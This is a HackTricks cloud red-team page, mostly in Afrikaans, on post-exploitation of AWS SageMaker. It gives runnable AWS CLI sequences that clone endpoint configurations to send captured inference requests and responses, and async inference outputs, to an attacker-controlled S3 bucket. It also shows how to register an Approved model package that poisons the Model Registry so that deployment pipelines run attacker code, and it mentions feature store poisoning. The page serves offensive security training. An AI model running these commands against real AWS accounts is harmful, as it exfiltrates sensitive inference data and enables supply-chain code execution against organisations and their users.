AWS - SageMaker Post-Exploitation

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

SageMaker endpoint dataaftapping via UpdateEndpoint DataCaptureConfig

Misbruik SageMaker endpoint-bestuur om volledige aanvraag/antwoord-opname na ’n deur die aanvaller beheerde S3 bucket moontlik te maak sonder om die model of container aan te raak. Gebruik ’n nul/laag‑afbreektyd rollende opdatering en vereis slegs endpoint‑bestuursregte.

Vereistes

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: s3:CreateBucket (of gebruik ’n bestaande bucket in dieselfde rekening)
  • Opsioneel (as SSE‑KMS gebruik word): kms:Encrypt op die gekose CMK
  • Doelwit: ’n bestaande InService real‑time endpoint in dieselfde rekening/streek

Stappe

  1. Identifiseer ’n InService endpoint en versamel huidige produksie‑variante
REGION=${REGION:-us-east-1}
EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text)
echo "Endpoint=$EP"
CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
echo "EndpointConfig=$CFG"
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json
  1. Berei die attacker S3-bestemming voor vir vaslegginge
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-capture-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
  1. Skep ’n nuwe EndpointConfig wat dieselfde variante behou, maar DataCapture na die attacker bucket aktiveer

Let wel: Gebruik eksplisiete inhoudstipes wat aan CLI-validasie voldoen.

NEWCFG=${CFG}-dc
cat > /tmp/dc.json << JSON
{
"EnableCapture": true,
"InitialSamplingPercentage": 100,
"DestinationS3Uri": "s3://$BUCKET/capture",
"CaptureOptions": [
{"CaptureMode": "Input"},
{"CaptureMode": "Output"}
],
"CaptureContentTypeHeader": {
"JsonContentTypes": ["application/json"],
"CsvContentTypes": ["text/csv"]
}
}
JSON
aws sagemaker create-endpoint-config \
--region $REGION \
--endpoint-config-name "$NEWCFG" \
--production-variants file:///tmp/pv.json \
--data-capture-config file:///tmp/dc.json
  1. Pas die nuwe konfigurasie toe met ’n rolling update (minimale/geen stilstandtyd)
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. Genereer ten minste een inferensie-oproep (opsioneel as daar regstreekse verkeer bestaan)
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
--content-type application/json --accept application/json \
--body fileb:///tmp/payload.json /tmp/out.bin || true
  1. Valideer captures in attacker S3
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize

Impak

  • Volledige eksfiltrasie van regstreekse inference-versoek- en reaksie‑payloads (en metadata) vanaf die geteikende endpoint na ’n deur ’n aanvaller beheerde S3-bucket.
  • Geen veranderinge aan die model/container image nie en slegs endpoint‑vlak veranderinge, wat ’n stilletjies data‑diefstalpad moontlik maak met minimale operasionele ontwrigting.

SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig

Misbruik endpoint‑bestuur om asynchrone inference‑uitsette te herlei na ’n deur ’n aanvaller beheerde S3‑bucket deur die huidige EndpointConfig te kloon en AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath te stel. Dit exfiltreer modelvoorspellings (en enige getransformeerde insette wat deur die container ingesluit is) sonder om die model/container te wysig.

Vereistes

  • IAM: sagemaker:DescribeEndpoint, sagemaker:DescribeEndpointConfig, sagemaker:CreateEndpointConfig, sagemaker:UpdateEndpoint
  • S3: Vermoe om te skryf na die aanvaller se S3‑bucket (via die model execution role of ’n permissiewe bucket policy)
  • Target: ’n InService endpoint waar asynchrone aanroepe gebruik word (of gaan word)

Stappe

  1. Versamel die huidige ProductionVariants van die teiken‑endpoint
REGION=${REGION:-us-east-1}
EP=<target-endpoint-name>
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
  1. Skep ’n attacker bucket (verseker dat die model execution role PutObject daaraan kan uitvoer)
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION || true
  1. Kloon EndpointConfig and hijack AsyncInference-uitsette na die attacker bucket
NEWCFG=${CUR_CFG}-async-exfil
cat > /tmp/async_cfg.json << JSON
{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}}
JSON
aws sagemaker create-endpoint-config --region $REGION   --endpoint-config-name "$NEWCFG"   --production-variants file:///tmp/pv.json   --async-inference-config file:///tmp/async_cfg.json
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
  1. Veroorsaak ’n async-aanroep en verifieer dat voorwerpe in die aanvaller se S3 beland
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
sleep 30
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true

Impak

  • Herlei asynchrone inference-resultate (en foutliggame) na attacker-controlled S3, wat bedekte eksfiltrasie van voorspellings en moontlik sensitiewe pre-/post-verwerkte insette wat deur die container geproduseer word, moontlik maak, sonder om model code of image te verander en met minimale/geen stilstand nie.

SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)

If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.

Vereistes

  • IAM (minimum to poison an existing group): sagemaker:CreateModelPackage op die teiken ModelPackageGroup
  • Opsioneel (om ’n groep te skep as een nie bestaan nie): sagemaker:CreateModelPackageGroup
  • S3: Lees toegang tot die verwysde ModelDataUrl (of host attacker-controlled artifacts)
  • Teiken: ’n Model Package Group wat downstream automation dophou vir Approved weergawes

Stappe

  1. Stel region in en skep/vind ’n teiken Model Package Group
REGION=${REGION:-us-east-1}
MPG=victim-group-$(date +%s)
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
  1. Berei voorbeeldmodeldata in S3 voor
ACC=$(aws sts get-caller-identity --query Account --output text)
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
head -c 1024 </dev/urandom > /tmp/model.tar.gz
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
  1. Registreer ’n kwaadwillige (hier onskadelike) Approved model package version wat na ’n openbare AWS DLC image verwys
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
cat > /tmp/inf.json << JSON
{
"Containers": [
{
"Image": "$IMG",
"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz"
}
],
"SupportedContentTypes": ["text/csv"],
"SupportedResponseMIMETypes": ["text/csv"]
}
JSON
aws sagemaker create-model-package --region $REGION   --model-package-group-name $MPG   --model-approval-status Approved   --inference-specification file:///tmp/inf.json
  1. Verifieer dat die nuwe goedgekeurde weergawe bestaan
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table

Impak

  • Vergiftig die Model Registry met ’n Approved version wat na aanvaller-beheerde code verwys. Pipelines wat Approved models outomaties deploy, kan die aanvaller-image pull en run, wat code execution onder endpoint/training roles tot gevolg het.
  • Met ’n toegeeflike ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kan hierdie misbruik tussen rekeninge geaktiveer word.

Feature store poisoning

Misbruik sagemaker:PutRecord op ’n Feature Group met OnlineStore geaktiveer om lewendige feature values wat deur online inference verbruik word, oor te skryf. In kombinasie met sagemaker:GetRecord, kan ’n aanvaller sensitiewe features lees. Dit vereis nie toegang tot models of endpoints nie.

{{#ref}} feature-store-poisoning.md {{/ref}}

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks